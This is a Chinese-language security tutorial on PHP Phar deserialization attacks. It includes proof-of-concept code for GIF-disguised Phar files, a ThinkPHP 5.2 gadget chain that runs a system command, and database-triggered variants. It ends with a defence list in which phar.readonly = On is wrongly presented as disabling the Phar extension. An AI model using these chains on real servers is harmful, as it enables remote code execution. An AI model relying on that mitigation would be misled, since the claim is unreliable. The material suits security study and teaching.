php反序列化拓展攻击详解--phar
字数 1163 2025-08-25 22:58:35
PHP反序列化拓展攻击详解——Phar协议利用
1. Phar协议基础
1.1 Phar协议概述
Phar(PHP Archive)是PHP的一种打包格式,可以将多个PHP文件、资源等打包成一个单独的文件。Phar归档文件的主要特点包括:
- 将多个文件分组为一个文件
- 无需解压即可直接从归档中运行PHP应用
- 支持phar://伪协议访问
1.2 Phar文件结构
Phar文件由4部分组成:
-
Stub:Phar文件标识
<?php __HALT_COMPILER(); ?>- 必须以
__HALT_COMPILER();?>结尾 - 前面内容不限,可用于伪装文件类型
- 必须以
-
Manifest:描述内容
- 存储被压缩文件的权限、属性等信息
- 以序列化形式存储用户自定义的meta-data(攻击核心)
-
File Contents:被压缩文件的内容
-
Signature(可选):用于验证Phar完整性的签名
2. Phar反序列化攻击原理
2.1 攻击原理
当文件系统函数(如file_get_contents、unlink等)的参数可控时,配合phar://伪协议,可以不依赖unserialize()函数直接进行反序列化操作。
2.2 攻击条件
- Phar文件能够上传到服务器
- 存在可用的魔术方法作为"跳板"
- 文件操作函数的参数可控,且
phar等特殊字符未被过滤
2.3 可触发反序列化的文件操作函数
以下函数在通过phar://解析Phar文件时,会反序列化meta-data:
file_exists()、fopen()、file_get_contents()、file()、
fileatime()、filectime()、filemtime()、filesize()、
fileinode()、fileowner()、filegroup()、fileperms()、
is_dir()、is_executable()、is_file()、is_link()、
is_readable()、is_writable()、is_writeable()、
parse_ini_file()、unlink()、stat()、readfile()、
copy()、rename()、mkdir()、rmdir()
3. 攻击实现步骤
3.1 创建Phar文件
<?php
class TestObject {
public $data = 'hello L1n!';
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub
$o = new TestObject();
$phar->setMetadata($o); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
$phar->stopBuffering();
?>
3.2 触发反序列化
<?php
class TestObject {
function __destruct() {
echo $this->data;
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>
3.3 绕过协议限制
如果phar://不能出现在头几个字符,可以使用:
$filename = 'compress.zlib://phar://phar.phar/test.txt';
// 或
$filename = 'compress.bzip2://phar://phar.phar/test.txt';
4. 实际攻击案例
4.1 案例一:文件上传+反序列化
场景:
- 上传功能限制只能上传GIF图片
- 存在文件操作函数和可用的魔术方法
利用步骤:
- 创建伪装成GIF的Phar文件
- 上传文件
- 通过phar协议触发反序列化
POC:
<?php
class AnyClass{
var $output = 'phpinfo();';
}
$phar = new Phar('phar.phar');
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString('test.txt','test');
$object = new AnyClass();
$phar->setMetadata($object);
$phar->stopBuffering();
4.2 案例二:ThinkPHP 5.2反序列化
利用链:
think\process\pipes\Windows->__destruct()
think\process\pipes\Windows->removeFiles()
think\model\concern\Conversion->__toString()
think\model\concern\Conversion->toJson()
think\model\concern\Conversion->toArray()
think\model\concern\Attribute->getAttr()
think\model\concern\Attribute->getValue()
POC:
<?php
namespace think\process\pipes {
class Windows {
private $files;
public function __construct($files) {
$this->files = array($files);
}
}
}
namespace think\model\concern {
trait Conversion {}
trait Attribute {
private $data;
private $withAttr = array('Smi1e' => 'system');
public function get($system) {
$this->data = array('Smi1e' => "$system");
}
}
}
namespace think {
abstract class Model {
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
public function __construct($system) {
$this->get($system);
}
}
}
namespace {
$Conver = new think\model\Pivot("ls");
$payload = new think\process\pipes\Windows($Conver);
@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($payload);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
}
5. 数据库相关攻击
5.1 MySQL触发Phar反序列化
<?php
class TestObject {
function __destruct() {
echo $this->data;
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://phar.phar/test.txt\' INTO TABLE users');
5.2 PostgreSQL触发Phar反序列化
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s",
"127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
6. 防御措施
- 禁用Phar扩展(
phar.readonly = On) - 严格过滤文件上传内容
- 对用户可控的文件操作参数进行严格检查
- 禁用不必要的伪协议
- 使用
finfo_file()代替文件扩展名检查 - 对反序列化数据进行签名验证
7. 总结
Phar反序列化攻击是一种强大的攻击技术,它:
- 不依赖
unserialize()函数 - 可通过多种文件操作函数触发
- 可结合数据库操作进行利用
- 可通过伪装文件类型绕过上传限制
理解这种攻击方式对于PHP应用的安全防护至关重要,开发者应特别注意文件操作和上传功能的安全性。